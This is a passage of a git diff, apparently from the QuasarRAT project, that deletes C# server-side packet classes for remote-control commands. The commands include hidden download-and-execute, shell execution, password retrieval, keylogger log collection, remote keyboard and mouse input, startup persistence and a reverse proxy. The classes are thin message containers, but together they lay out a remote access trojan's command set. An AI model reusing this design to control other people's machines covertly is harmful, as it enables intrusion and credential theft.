[Serializable] - public class DoClientUninstall : IPacket - { - public DoClientUninstall() - { - } - - public void Execute(Client client) - { - client.Send(this); - } - } -} \ No newline at end of file diff --git a/Server/Core/Packets/ServerPackets/DoClientUpdate.cs b/Server/Core/Packets/ServerPackets/DoClientUpdate.cs deleted file mode 100644 index 874851144..000000000 --- a/Server/Core/Packets/ServerPackets/DoClientUpdate.cs +++ /dev/null @@ -1,40 +0,0 @@ -using System; -using xServer.Core.Networking; - -namespace xServer.Core.Packets.ServerPackets -{ - [Serializable] - public class DoClientUpdate : IPacket - { - public int ID { get; set; } - - public string DownloadURL { get; set; } - - public string FileName { get; set; } - - public byte[] Block { get; set; } - - public int MaxBlocks { get; set; } - - public int CurrentBlock { get; set; } - - public DoClientUpdate() - { - } - - public DoClientUpdate(int id, string downloadurl, string filename, byte[] block, int maxblocks, int currentblock) - { - this.ID = id; - this.DownloadURL = downloadurl; - this.FileName = filename; - this.Block = block; - this.MaxBlocks = maxblocks; - this.CurrentBlock = currentblock; - } - - public void Execute(Client client) - { - client.Send(this); - } - } -} \ No newline at end of file diff --git a/Server/Core/Packets/ServerPackets/DoCreateRegistryKey.cs b/Server/Core/Packets/ServerPackets/DoCreateRegistryKey.cs deleted file mode 100644 index f98b213bd..000000000 --- a/Server/Core/Packets/ServerPackets/DoCreateRegistryKey.cs +++ /dev/null @@ -1,24 +0,0 @@ -using System; -using System.Collections.Generic; -using System.Linq; -using System.Text; -using xServer.Core.Networking; - -namespace xServer.Core.Packets.ServerPackets -{ - [Serializable] - public class DoCreateRegistryKey : IPacket - { - public string ParentPath { get; set; } - - public DoCreateRegistryKey(string parentPath) - { - ParentPath = parentPath; - } - - public void Execute(Client client) - { - client.Send(this); - } - } -} diff --git a/Server/Core/Packets/ServerPackets/DoCreateRegistryValue.cs b/Server/Core/Packets/ServerPackets/DoCreateRegistryValue.cs deleted file mode 100644 index 71a8ce793..000000000 --- a/Server/Core/Packets/ServerPackets/DoCreateRegistryValue.cs +++ /dev/null @@ -1,27 +0,0 @@ -using Microsoft.Win32; -using System; -using System.Collections.Generic; -using System.Linq; -using System.Text; -using xServer.Core.Networking; - -namespace xServer.Core.Packets.ServerPackets -{ - [Serializable] - public class DoCreateRegistryValue : IPacket - { - public string KeyPath { get; set; } - public RegistryValueKind Kind { get; set; } - - public DoCreateRegistryValue(string keyPath, RegistryValueKind kind) - { - KeyPath = keyPath; - Kind = kind; - } - - public void Execute(Client client) - { - client.Send(this); - } - } -} diff --git a/Server/Core/Packets/ServerPackets/DoDeleteRegistryKey.cs b/Server/Core/Packets/ServerPackets/DoDeleteRegistryKey.cs deleted file mode 100644 index de0f0c442..000000000 --- a/Server/Core/Packets/ServerPackets/DoDeleteRegistryKey.cs +++ /dev/null @@ -1,26 +0,0 @@ -using System; -using System.Collections.Generic; -using System.Linq; -using System.Text; -using xServer.Core.Networking; - -namespace xServer.Core.Packets.ServerPackets -{ - [Serializable] - public class DoDeleteRegistryKey : IPacket - { - public string ParentPath { get; set; } - public string KeyName { get; set; } - - public DoDeleteRegistryKey(string parentPath, string keyName) - { - ParentPath = parentPath; - KeyName = keyName; - } - - public void Execute(Client client) - { - client.Send(this); - } - } -} diff --git a/Server/Core/Packets/ServerPackets/DoDeleteRegistryValue.cs b/Server/Core/Packets/ServerPackets/DoDeleteRegistryValue.cs deleted file mode 100644 index a0b3bd9a7..000000000 --- a/Server/Core/Packets/ServerPackets/DoDeleteRegistryValue.cs +++ /dev/null @@ -1,26 +0,0 @@ -using System; -using System.Collections.Generic; -using System.Linq; -using System.Text; -using xServer.Core.Networking; - -namespace xServer.Core.Packets.ServerPackets -{ - [Serializable] - public class DoDeleteRegistryValue : IPacket - { - public string KeyPath { get; set; } - public string ValueName { get; set; } - - public DoDeleteRegistryValue(string keyPath, string valueName) - { - KeyPath = keyPath; - ValueName = valueName; - } - - public void Execute(Client client) - { - client.Send(this); - } - } -} diff --git a/Server/Core/Packets/ServerPackets/DoDownloadAndExecute.cs b/Server/Core/Packets/ServerPackets/DoDownloadAndExecute.cs deleted file mode 100644 index 63a8d5531..000000000 --- a/Server/Core/Packets/ServerPackets/DoDownloadAndExecute.cs +++ /dev/null @@ -1,28 +0,0 @@ -using System; -using xServer.Core.Networking; - -namespace xServer.Core.Packets.ServerPackets -{ - [Serializable] - public class DoDownloadAndExecute : IPacket - { - public string URL { get; set; } - - public bool RunHidden { get; set; } - - public DoDownloadAndExecute() - { - } - - public DoDownloadAndExecute(string url, bool runhidden) - { - this.URL = url; - this.RunHidden = runhidden; - } - - public void Execute(Client client) - { - client.Send(this); - } - } -} \ No newline at end of file diff --git a/Server/Core/Packets/ServerPackets/DoDownloadFile.cs b/Server/Core/Packets/ServerPackets/DoDownloadFile.cs deleted file mode 100644 index 0f6b32e48..000000000 --- a/Server/Core/Packets/ServerPackets/DoDownloadFile.cs +++ /dev/null @@ -1,28 +0,0 @@ -using System; -using xServer.Core.Networking; - -namespace xServer.Core.Packets.ServerPackets -{ - [Serializable] - public class DoDownloadFile : IPacket - { - public string RemotePath { get; set; } - - public int ID { get; set; } - - public DoDownloadFile() - { - } - - public DoDownloadFile(string remotepath, int id) - { - this.RemotePath = remotepath; - this.ID = id; - } - - public void Execute(Client client) - { - client.Send(this); - } - } -} \ No newline at end of file diff --git a/Server/Core/Packets/ServerPackets/DoDownloadFileCancel.cs b/Server/Core/Packets/ServerPackets/DoDownloadFileCancel.cs deleted file mode 100644 index 415c07f2c..000000000 --- a/Server/Core/Packets/ServerPackets/DoDownloadFileCancel.cs +++ /dev/null @@ -1,25 +0,0 @@ -using System; -using xServer.Core.Networking; - -namespace xServer.Core.Packets.ServerPackets -{ - [Serializable] - public class DoDownloadFileCancel : IPacket - { - public int ID { get; set; } - - public DoDownloadFileCancel() - { - } - - public DoDownloadFileCancel(int id) - { - this.ID = id; - } - - public void Execute(Client client) - { - client.Send(this); - } - } -} \ No newline at end of file diff --git a/Server/Core/Packets/ServerPackets/DoKeyboardEvent.cs b/Server/Core/Packets/ServerPackets/DoKeyboardEvent.cs deleted file mode 100644 index 5d6251e60..000000000 --- a/Server/Core/Packets/ServerPackets/DoKeyboardEvent.cs +++ /dev/null @@ -1,28 +0,0 @@ -using System; -using xServer.Core.Networking; - -namespace xServer.Core.Packets.ServerPackets -{ - [Serializable] - public class DoKeyboardEvent : IPacket - { - public byte Key { get; set; } - - public bool KeyDown { get; set; } - - public DoKeyboardEvent() - { - } - - public DoKeyboardEvent(byte key, bool keyDown) - { - this.Key = key; - this.KeyDown = keyDown; - } - - public void Execute(Client client) - { - client.Send(this); - } - } -} \ No newline at end of file diff --git a/Server/Core/Packets/ServerPackets/DoLoadRegistryKey.cs b/Server/Core/Packets/ServerPackets/DoLoadRegistryKey.cs deleted file mode 100644 index ac15e01bd..000000000 --- a/Server/Core/Packets/ServerPackets/DoLoadRegistryKey.cs +++ /dev/null @@ -1,24 +0,0 @@ -using System; -using System.Collections.Generic; -using System.Linq; -using System.Text; -using xServer.Core.Networking; - -namespace xServer.Core.Packets.ServerPackets -{ - [Serializable] - public class DoLoadRegistryKey : IPacket - { - public string RootKeyName { get; set; } - - public DoLoadRegistryKey(string rootKeyName) - { - RootKeyName = rootKeyName; - } - - public void Execute(Client client) - { - client.Send(this); - } - } -} diff --git a/Server/Core/Packets/ServerPackets/DoMouseEvent.cs b/Server/Core/Packets/ServerPackets/DoMouseEvent.cs deleted file mode 100644 index b78a77385..000000000 --- a/Server/Core/Packets/ServerPackets/DoMouseEvent.cs +++ /dev/null @@ -1,38 +0,0 @@ -using System; -using xServer.Core.Networking; -using xServer.Enums; - -namespace xServer.Core.Packets.ServerPackets -{ - [Serializable] - public class DoMouseEvent : IPacket - { - public MouseAction Action { get; set; } - - public bool IsMouseDown { get; set; } - - public int X { get; set; } - - public int Y { get; set; } - - public int MonitorIndex { get; set; } - - public DoMouseEvent() - { - } - - public DoMouseEvent(MouseAction action, bool isMouseDown, int x, int y, int monitorIndex) - { - this.Action = action; - this.IsMouseDown = isMouseDown; - this.X = x; - this.Y = y; - this.MonitorIndex = monitorIndex; - } - - public void Execute(Client client) - { - client.Send(this); - } - } -} \ No newline at end of file diff --git a/Server/Core/Packets/ServerPackets/DoPathDelete.cs b/Server/Core/Packets/ServerPackets/DoPathDelete.cs deleted file mode 100644 index be7576b5c..000000000 --- a/Server/Core/Packets/ServerPackets/DoPathDelete.cs +++ /dev/null @@ -1,29 +0,0 @@ -using System; -using xServer.Core.Networking; -using xServer.Enums; - -namespace xServer.Core.Packets.ServerPackets -{ - [Serializable] - public class DoPathDelete : IPacket - { - public string Path { get; set; } - - public PathType PathType { get; set; } - - public DoPathDelete() - { - } - - public DoPathDelete(string path, PathType pathtype) - { - this.Path = path; - this.PathType = pathtype; - } - - public void Execute(Client client) - { - client.Send(this); - } - } -} \ No newline at end of file diff --git a/Server/Core/Packets/ServerPackets/DoPathRename.cs b/Server/Core/Packets/ServerPackets/DoPathRename.cs deleted file mode 100644 index 43a714f87..000000000 --- a/Server/Core/Packets/ServerPackets/DoPathRename.cs +++ /dev/null @@ -1,32 +0,0 @@ -using System; -using xServer.Core.Networking; -using xServer.Enums; - -namespace xServer.Core.Packets.ServerPackets -{ - [Serializable] - public class DoPathRename : IPacket - { - public string Path { get; set; } - - public string NewPath { get; set; } - - public PathType PathType { get; set; } - - public DoPathRename() - { - } - - public DoPathRename(string path, string newpath, PathType pathtype) - { - this.Path = path; - this.NewPath = newpath; - this.PathType = pathtype; - } - - public void Execute(Client client) - { - client.Send(this); - } - } -} \ No newline at end of file diff --git a/Server/Core/Packets/ServerPackets/DoProcessKill.cs b/Server/Core/Packets/ServerPackets/DoProcessKill.cs deleted file mode 100644 index 8ef05d7ce..000000000 --- a/Server/Core/Packets/ServerPackets/DoProcessKill.cs +++ /dev/null @@ -1,25 +0,0 @@ -using System; -using xServer.Core.Networking; - -namespace xServer.Core.Packets.ServerPackets -{ - [Serializable] - public class DoProcessKill : IPacket - { - public int PID { get; set; } - - public DoProcessKill() - { - } - - public DoProcessKill(int pid) - { - this.PID = pid; - } - - public void Execute(Client client) - { - client.Send(this); - } - } -} \ No newline at end of file diff --git a/Server/Core/Packets/ServerPackets/DoProcessStart.cs b/Server/Core/Packets/ServerPackets/DoProcessStart.cs deleted file mode 100644 index f79b39989..000000000 --- a/Server/Core/Packets/ServerPackets/DoProcessStart.cs +++ /dev/null @@ -1,25 +0,0 @@ -using System; -using xServer.Core.Networking; - -namespace xServer.Core.Packets.ServerPackets -{ - [Serializable] - public class DoProcessStart : IPacket - { - public string Processname { get; set; } - - public DoProcessStart() - { - } - - public DoProcessStart(string processname) - { - this.Processname = processname; - } - - public void Execute(Client client) - { - client.Send(this); - } - } -} \ No newline at end of file diff --git a/Server/Core/Packets/ServerPackets/DoRenameRegistryKey.cs b/Server/Core/Packets/ServerPackets/DoRenameRegistryKey.cs deleted file mode 100644 index b6093c26a..000000000 --- a/Server/Core/Packets/ServerPackets/DoRenameRegistryKey.cs +++ /dev/null @@ -1,28 +0,0 @@ -using System; -using System.Collections.Generic; -using System.Linq; -using System.Text; -using xServer.Core.Networking; - -namespace xServer.Core.Packets.ServerPackets -{ - [Serializable] - public class DoRenameRegistryKey : IPacket - { - public string ParentPath { get; set; } - public string OldKeyName { get; set; } - public string NewKeyName { get; set; } - - public DoRenameRegistryKey(string parentPath, string oldKeyName, string newKeyName) - { - ParentPath = parentPath; - OldKeyName = oldKeyName; - NewKeyName = newKeyName; - } - - public void Execute(Client client) - { - client.Send(this); - } - } -} diff --git a/Server/Core/Packets/ServerPackets/DoRenameRegistryValue.cs b/Server/Core/Packets/ServerPackets/DoRenameRegistryValue.cs deleted file mode 100644 index b72789dc1..000000000 --- a/Server/Core/Packets/ServerPackets/DoRenameRegistryValue.cs +++ /dev/null @@ -1,28 +0,0 @@ -using System; -using System.Collections.Generic; -using System.Linq; -using System.Text; -using xServer.Core.Networking; - -namespace xServer.Core.Packets.ServerPackets -{ - [Serializable] - public class DoRenameRegistryValue : IPacket - { - public string KeyPath { get; set; } - public string OldValueName { get; set; } - public string NewValueName { get; set; } - - public DoRenameRegistryValue(string keyPath, string oldValueName, string newValueName) - { - KeyPath = keyPath; - OldValueName = oldValueName; - NewValueName = newValueName; - } - - public void Execute(Client client) - { - client.Send(this); - } - } -} diff --git a/Server/Core/Packets/ServerPackets/DoShellExecute.cs b/Server/Core/Packets/ServerPackets/DoShellExecute.cs deleted file mode 100644 index 88480d0a3..000000000 --- a/Server/Core/Packets/ServerPackets/DoShellExecute.cs +++ /dev/null @@ -1,25 +0,0 @@ -using System; -using xServer.Core.Networking; - -namespace xServer.Core.Packets.ServerPackets -{ - [Serializable] - public class DoShellExecute : IPacket - { - public string Command { get; set; } - - public DoShellExecute() - { - } - - public DoShellExecute(string command) - { - this.Command = command; - } - - public void Execute(Client client) - { - client.Send(this); - } - } -} \ No newline at end of file diff --git a/Server/Core/Packets/ServerPackets/DoShowMessageBox.cs b/Server/Core/Packets/ServerPackets/DoShowMessageBox.cs deleted file mode 100644 index aa7aefa36..000000000 --- a/Server/Core/Packets/ServerPackets/DoShowMessageBox.cs +++ /dev/null @@ -1,34 +0,0 @@ -using System; -using xServer.Core.Networking; - -namespace xServer.Core.Packets.ServerPackets -{ - [Serializable] - public class DoShowMessageBox : IPacket - { - public string Caption { get; set; } - - public string Text { get; set; } - - public string MessageboxButton { get; set; } - - public string MessageboxIcon { get; set; } - - public DoShowMessageBox() - { - } - - public DoShowMessageBox(string caption, string text, string messageboxbutton, string messageboxicon) - { - this.Caption = caption; - this.Text = text; - this.MessageboxButton = messageboxbutton; - this.MessageboxIcon = messageboxicon; - } - - public void Execute(Client client) - { - client.Send(this); - } - } -} \ No newline at end of file diff --git a/Server/Core/Packets/ServerPackets/DoShutdownAction.cs b/Server/Core/Packets/ServerPackets/DoShutdownAction.cs deleted file mode 100644 index c87e29833..000000000 --- a/Server/Core/Packets/ServerPackets/DoShutdownAction.cs +++ /dev/null @@ -1,26 +0,0 @@ -using System; -using xServer.Core.Networking; -using xServer.Enums; - -namespace xServer.Core.Packets.ServerPackets -{ - [Serializable] - public class DoShutdownAction : IPacket - { - public ShutdownAction Action { get; set; } - - public DoShutdownAction() - { - } - - public DoShutdownAction(ShutdownAction action) - { - this.Action = action; - } - - public void Execute(Client client) - { - client.Send(this); - } - } -} \ No newline at end of file diff --git a/Server/Core/Packets/ServerPackets/DoStartupItemAdd.cs b/Server/Core/Packets/ServerPackets/DoStartupItemAdd.cs deleted file mode 100644 index d8a52cdec..000000000 --- a/Server/Core/Packets/ServerPackets/DoStartupItemAdd.cs +++ /dev/null @@ -1,31 +0,0 @@ -using System; -using xServer.Core.Networking; - -namespace xServer.Core.Packets.ServerPackets -{ - [Serializable] - public class DoStartupItemAdd : IPacket - { - public string Name { get; set; } - - public string Path { get; set; } - - public int Type { get; set; } - - public DoStartupItemAdd() - { - } - - public DoStartupItemAdd(string name, string path, int type) - { - this.Name = name; - this.Path = path; - this.Type = type; - } - - public void Execute(Client client) - { - client.Send(this); - } - } -} \ No newline at end of file diff --git a/Server/Core/Packets/ServerPackets/DoStartupItemRemove.cs b/Server/Core/Packets/ServerPackets/DoStartupItemRemove.cs deleted file mode 100644 index 51c6b2718..000000000 --- a/Server/Core/Packets/ServerPackets/DoStartupItemRemove.cs +++ /dev/null @@ -1,31 +0,0 @@ -using System; -using xServer.Core.Networking; - -namespace xServer.Core.Packets.ServerPackets -{ - [Serializable] - public class DoStartupItemRemove : IPacket - { - public string Name { get; set; } - - public string Path { get; set; } - - public int Type { get; set; } - - public DoStartupItemRemove() - { - } - - public DoStartupItemRemove(string name, string path, int type) - { - this.Name = name; - this.Path = path; - this.Type = type; - } - - public void Execute(Client client) - { - client.Send(this); - } - } -} \ No newline at end of file diff --git a/Server/Core/Packets/ServerPackets/DoUploadAndExecute.cs b/Server/Core/Packets/ServerPackets/DoUploadAndExecute.cs deleted file mode 100644 index e1bd4d2c0..000000000 --- a/Server/Core/Packets/ServerPackets/DoUploadAndExecute.cs +++ /dev/null @@ -1,40 +0,0 @@ -using System; -using xServer.Core.Networking; - -namespace xServer.Core.Packets.ServerPackets -{ - [Serializable] - public class DoUploadAndExecute : IPacket - { - public int ID { get; set; } - - public string FileName { get; set; } - - public byte[] Block { get; set; } - - public int MaxBlocks { get; set; } - - public int CurrentBlock { get; set; } - - public bool RunHidden { get; set; } - - public DoUploadAndExecute() - { - } - - public DoUploadAndExecute(int id, string filename, byte[] block, int maxblocks, int currentblock, bool runhidden) - { - this.ID = id; - this.FileName = filename; - this.Block = block; - this.MaxBlocks = maxblocks; - this.CurrentBlock = currentblock; - this.RunHidden = runhidden; - } - - public void Execute(Client client) - { - client.SendBlocking(this); - } - } -} \ No newline at end of file diff --git a/Server/Core/Packets/ServerPackets/DoUploadFile.cs b/Server/Core/Packets/ServerPackets/DoUploadFile.cs deleted file mode 100644 index ec48aaf73..000000000 --- a/Server/Core/Packets/ServerPackets/DoUploadFile.cs +++ /dev/null @@ -1,37 +0,0 @@ -using System; -using xServer.Core.Networking; - -namespace xServer.Core.Packets.ServerPackets -{ - [Serializable] - public class DoUploadFile : IPacket - { - public int ID { get; set; } - - public string RemotePath { get; set; } - - public byte[] Block { get; set; } - - public int MaxBlocks { get; set; } - - public int CurrentBlock { get; set; } - - public DoUploadFile() - { - } - - public DoUploadFile(int id, string remotepath, byte[] block, int maxblocks, int currentblock) - { - this.ID = id; - this.RemotePath = remotepath; - this.Block = block; - this.MaxBlocks = maxblocks; - this.CurrentBlock = currentblock; - } - - public void Execute(Client client) - { - client.SendBlocking(this); - } - } -} \ No newline at end of file diff --git a/Server/Core/Packets/ServerPackets/DoVisitWebsite.cs b/Server/Core/Packets/ServerPackets/DoVisitWebsite.cs deleted file mode 100644 index bdfee91c4..000000000 --- a/Server/Core/Packets/ServerPackets/DoVisitWebsite.cs +++ /dev/null @@ -1,28 +0,0 @@ -using System; -using xServer.Core.Networking; - -namespace xServer.Core.Packets.ServerPackets -{ - [Serializable] - public class DoVisitWebsite : IPacket - { - public string URL { get; set; } - - public bool Hidden { get; set; } - - public DoVisitWebsite() - { - } - - public DoVisitWebsite(string url, bool hidden) - { - this.URL = url; - this.Hidden = hidden; - } - - public void Execute(Client client) - { - client.Send(this); - } - } -} \ No newline at end of file diff --git a/Server/Core/Packets/ServerPackets/GetAuthentication.cs b/Server/Core/Packets/ServerPackets/GetAuthentication.cs deleted file mode 100644 index 5c54c5ddb..000000000 --- a/Server/Core/Packets/ServerPackets/GetAuthentication.cs +++ /dev/null @@ -1,18 +0,0 @@ -using System; -using xServer.Core.Networking; - -namespace xServer.Core.Packets.ServerPackets -{ - [Serializable] - public class GetAuthentication : IPacket - { - public GetAuthentication() - { - } - - public void Execute(Client client) - { - client.Send(this); - } - } -} \ No newline at end of file diff --git a/Server/Core/Packets/ServerPackets/GetDesktop.cs b/Server/Core/Packets/ServerPackets/GetDesktop.cs deleted file mode 100644 index cfcaeb196..000000000 --- a/Server/Core/Packets/ServerPackets/GetDesktop.cs +++ /dev/null @@ -1,28 +0,0 @@ -using System; -using xServer.Core.Networking; - -namespace xServer.Core.Packets.ServerPackets -{ - [Serializable] - public class GetDesktop : IPacket - { - public int Quality { get; set; } - - public int Monitor { get; set; } - - public GetDesktop() - { - } - - public GetDesktop(int quality, int monitor) - { - this.Quality = quality; - this.Monitor = monitor; - } - - public void Execute(Client client) - { - client.Send(this); - } - } -} \ No newline at end of file diff --git a/Server/Core/Packets/ServerPackets/GetDirectory.cs b/Server/Core/Packets/ServerPackets/GetDirectory.cs deleted file mode 100644 index 23e8c9bfd..000000000 --- a/Server/Core/Packets/ServerPackets/GetDirectory.cs +++ /dev/null @@ -1,25 +0,0 @@ -using System; -using xServer.Core.Networking; - -namespace xServer.Core.Packets.ServerPackets -{ - [Serializable] - public class GetDirectory : IPacket - { - public string RemotePath { get; set; } - - public GetDirectory() - { - } - - public GetDirectory(string remotepath) - { - this.RemotePath = remotepath; - } - - public void Execute(Client client) - { - client.Send(this); - } - } -} \ No newline at end of file diff --git a/Server/Core/Packets/ServerPackets/GetDrives.cs b/Server/Core/Packets/ServerPackets/GetDrives.cs deleted file mode 100644 index fde1024e1..000000000 --- a/Server/Core/Packets/ServerPackets/GetDrives.cs +++ /dev/null @@ -1,18 +0,0 @@ -using System; -using xServer.Core.Networking; - -namespace xServer.Core.Packets.ServerPackets -{ - [Serializable] - public class GetDrives : IPacket - { - public GetDrives() - { - } - - public void Execute(Client client) - { - client.Send(this); - } - } -} \ No newline at end of file diff --git a/Server/Core/Packets/ServerPackets/GetKeyloggerLogs.cs b/Server/Core/Packets/ServerPackets/GetKeyloggerLogs.cs deleted file mode 100644 index 194fb68ea..000000000 --- a/Server/Core/Packets/ServerPackets/GetKeyloggerLogs.cs +++ /dev/null @@ -1,16 +0,0 @@ -using System; -using xServer.Core.Networking; - -namespace xServer.Core.Packets.ServerPackets -{ - [Serializable] - public class GetKeyloggerLogs : IPacket - { - public GetKeyloggerLogs() { } - - public void Execute(Client client) - { - client.Send(this); - } - } -} \ No newline at end of file diff --git a/Server/Core/Packets/ServerPackets/GetMonitors.cs b/Server/Core/Packets/ServerPackets/GetMonitors.cs deleted file mode 100644 index 40cbf3ae6..000000000 --- a/Server/Core/Packets/ServerPackets/GetMonitors.cs +++ /dev/null @@ -1,18 +0,0 @@ -using System; -using xServer.Core.Networking; - -namespace xServer.Core.Packets.ServerPackets -{ - [Serializable] - public class GetMonitors : IPacket - { - public GetMonitors() - { - } - - public void Execute(Client client) - { - client.Send(this); - } - } -} \ No newline at end of file diff --git a/Server/Core/Packets/ServerPackets/GetPasswords.cs b/Server/Core/Packets/ServerPackets/GetPasswords.cs deleted file mode 100644 index ac5a933b8..000000000 --- a/Server/Core/Packets/ServerPackets/GetPasswords.cs +++ /dev/null @@ -1,18 +0,0 @@ -using System; -using xServer.Core.Networking; - -namespace xServer.Core.Packets.ServerPackets -{ - [Serializable] - public class GetPasswords : IPacket - { - public GetPasswords() - { - } - - public void Execute(Client client) - { - client.Send(this); - } - } -} diff --git a/Server/Core/Packets/ServerPackets/GetProcesses.cs b/Server/Core/Packets/ServerPackets/GetProcesses.cs deleted file mode 100644 index 48a377f19..000000000 --- a/Server/Core/Packets/ServerPackets/GetProcesses.cs +++ /dev/null @@ -1,18 +0,0 @@ -using System; -using xServer.Core.Networking; - -namespace xServer.Core.Packets.ServerPackets -{ - [Serializable] - public class GetProcesses : IPacket - { - public GetProcesses() - { - } - - public void Execute(Client client) - { - client.Send(this); - } - } -} \ No newline at end of file diff --git a/Server/Core/Packets/ServerPackets/GetStartupItems.cs b/Server/Core/Packets/ServerPackets/GetStartupItems.cs deleted file mode 100644 index 2905761ba..000000000 --- a/Server/Core/Packets/ServerPackets/GetStartupItems.cs +++ /dev/null @@ -1,18 +0,0 @@ -using System; -using xServer.Core.Networking; - -namespace xServer.Core.Packets.ServerPackets -{ - [Serializable] - public class GetStartupItems : IPacket - { - public GetStartupItems() - { - } - - public void Execute(Client client) - { - client.Send(this); - } - } -} \ No newline at end of file diff --git a/Server/Core/Packets/ServerPackets/GetSystemInfo.cs b/Server/Core/Packets/ServerPackets/GetSystemInfo.cs deleted file mode 100644 index b192ba8a0..000000000 --- a/Server/Core/Packets/ServerPackets/GetSystemInfo.cs +++ /dev/null @@ -1,18 +0,0 @@ -using System; -using xServer.Core.Networking; - -namespace xServer.Core.Packets.ServerPackets -{ - [Serializable] - public class GetSystemInfo : IPacket - { - public GetSystemInfo() - { - } - - public void Execute(Client client) - { - client.Send(this); - } - } -} \ No newline at end of file diff --git a/Server/Core/Packets/ServerPackets/SetAuthenticationSuccess.cs b/Server/Core/Packets/ServerPackets/SetAuthenticationSuccess.cs deleted file mode 100644 index 844d3c28b..000000000 --- a/Server/Core/Packets/ServerPackets/SetAuthenticationSuccess.cs +++ /dev/null @@ -1,18 +0,0 @@ -using System; -using xServer.Core.Networking; - -namespace xServer.Core.Packets.ServerPackets -{ - [Serializable] - public class SetAuthenticationSuccess : IPacket - { - public SetAuthenticationSuccess() - { - } - - public void Execute(Client client) - { - client.Send(this); - } - } -} diff --git a/Server/Core/Registry/RegSeekerMatch.cs b/Server/Core/Registry/RegSeekerMatch.cs deleted file mode 100644 index a46de6cbb..000000000 --- a/Server/Core/Registry/RegSeekerMatch.cs +++ /dev/null @@ -1,40 +0,0 @@ -using System; -using System.Collections.Generic; -using System.Linq; -using System.Text; - -namespace xServer.Core.Registry -{ - /* - * Derived and Adapted By Justin Yanke - * github: https://github.com/yankejustin - * ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ - * This code is created by Justin Yanke and has only been - * modified partially. - * ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ - * Modified by StingRaptor on January 21, 2016 - * ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ - * Original Source: - * https://github.com/quasar/QuasarRAT/blob/regedit/Server/Core/Utilities/RegSeekerMatch.cs - */ - - [Serializable] - public class RegSeekerMatch - { - public string Key { get; private set; } - public List Data { get; private set; } - public bool HasSubKeys { get; private set; } - - public RegSeekerMatch(string key, List data, int subkeycount) - { - Key = key; - Data = data; - HasSubKeys = (subkeycount > 0); - } - - public override string ToString() - { - return string.Format("({0}:{1})", Key, Data.ToString()); - } - } -} diff --git a/Server/Core/Registry/RegValueData.cs b/Server/Core/Registry/RegValueData.cs deleted file mode 100644 index 432db3cba..000000000 --- a/Server/Core/Registry/RegValueData.cs +++ /dev/null @@ -1,39 +0,0 @@ -using Microsoft.Win32; -using System; -using System.Collections.Generic; -using System.Linq; -using System.Text; -using xServer.Core.Extensions; - -namespace xServer.Core.Registry -{ - [Serializable] - public class RegValueData - { - public string Name { get; set; } - public RegistryValueKind Kind { get; set; } - public object Data { get; set; } - - public RegValueData(string name, RegistryValueKind kind, object data) - { - Name = name; - Kind = kind; - Data = data; - } - - public string GetDataAsString() - { - return Kind.RegistryTypeToString(Data); - } - - public string GetKindAsString() - { - return Kind.RegistryTypeToString(); - } - - public override string ToString() - { - return string.Format("({0}:{1}:{2})", Name, GetKindAsString(), GetDataAsString()); - } - } -} diff --git a/Server/Core/ReverseProxy/Packets/ReverseProxyConnect.cs b/Server/Core/ReverseProxy/Packets/ReverseProxyConnect.cs deleted file mode 100644 index 359ba4608..000000000 --- a/Server/Core/ReverseProxy/Packets/ReverseProxyConnect.cs +++ /dev/null @@ -1,32 +0,0 @@ -using System; -using xServer.Core.Networking; -using xServer.Core.Packets; - -namespace xServer.Core.ReverseProxy.Packets -{ - [Serializable] - public class ReverseProxyConnect : IPacket - { - public int ConnectionId { get; set; } - - public string Target { get; set; } - - public int Port { get; set; } - - public ReverseProxyConnect() - { - } - - public ReverseProxyConnect(int connectionId, string target, int port) - { - this.ConnectionId = connectionId; - this.Target = target; - this.Port = port; - } - - public void Execute(Client client) - { - client.Send(this); - } - } -} diff --git a/Server/Core/ReverseProxy/Packets/ReverseProxyConnectResponse.cs b/Server/Core/ReverseProxy/Packets/ReverseProxyConnectResponse.cs deleted file mode 100644 index d06e07ac6..000000000 --- a/Server/Core/ReverseProxy/Packets/ReverseProxyConnectResponse.cs +++ /dev/null @@ -1,34 +0,0 @@ -using System; -using System.Net; -using xServer.Core.Networking; -using xServer.Core.Packets; - -namespace xServer.Core.ReverseProxy.Packets -{ - [Serializable] - public class ReverseProxyConnectResponse : IPacket - { - public int ConnectionId { get; set; } - - public bool IsConnected { get; set; } - - public IPAddress LocalAddress { get; set; } - - public int LocalPort { get; set; } - - public string HostName { get; set; } - - public ReverseProxyConnectResponse(int connectionId, bool isConnected, IPAddress localAddress, int localPort) - { - this.ConnectionId = connectionId; - this.IsConnected = isConnected; - this.LocalAddress = localAddress; - this.LocalPort = localPort; - } - - public void Execute(Client client) - { - client.Send(this); - } - } -} diff --git a/Server/Core/ReverseProxy/Packets/ReverseProxyData.cs b/Server/Core/ReverseProxy/Packets/ReverseProxyData.cs deleted file mode 100644 index 73eee736e..000000000 --- a/Server/Core/ReverseProxy/Packets/ReverseProxyData.cs +++ /dev/null @@ -1,29 +0,0 @@ -using System; -using xServer.Core.Networking; -using xServer.Core.Packets; - -namespace xServer.Core.ReverseProxy.Packets -{ - [Serializable] - public class ReverseProxyData : IPacket - { - public int ConnectionId { get; set; } - - public byte[] Data { get; set; } - - public ReverseProxyData() - { - } - - public ReverseProxyData(int connectionId, byte[] data) - { - this.ConnectionId = connectionId; - this.Data = data; - } - - public void Execute(Client client) - { - client.Send(this); - } - } -} diff --git a/Server/Core/ReverseProxy/Packets/ReverseProxyDisconnect.cs b/Server/Core/ReverseProxy/Packets/ReverseProxyDisconnect.cs deleted file mode 100644 index 9b22bb39c..000000000 --- a/Server/Core/ReverseProxy/Packets/ReverseProxyDisconnect.cs +++ /dev/null @@ -1,26 +0,0 @@ -using System; -using xServer.Core.Networking; -using xServer.Core.Packets; - -namespace xServer.Core.ReverseProxy.Packets -{ - [Serializable] - public class ReverseProxyDisconnect : IPacket - { - public int ConnectionId { get; set; } - - public ReverseProxyDisconnect(int connectionId) - { - this.ConnectionId = connectionId; - } - - public ReverseProxyDisconnect() - { - } - - public void Execute(Client client) - { - client.Send(this); - } - } -} diff --git a/Server/Core/ReverseProxy/ReverseProxyCommandHandler.cs b/Server/Core/ReverseProxy/ReverseProxyCommandHandler.cs deleted file mode 100644 index 22cfa3bb9..000000000 --- a/Server/Core/ReverseProxy/ReverseProxyCommandHandler.cs +++ /dev/null @@ -1,49 +0,0 @@ -using xServer.Core.Networking; -using xServer.Core.Packets; -using 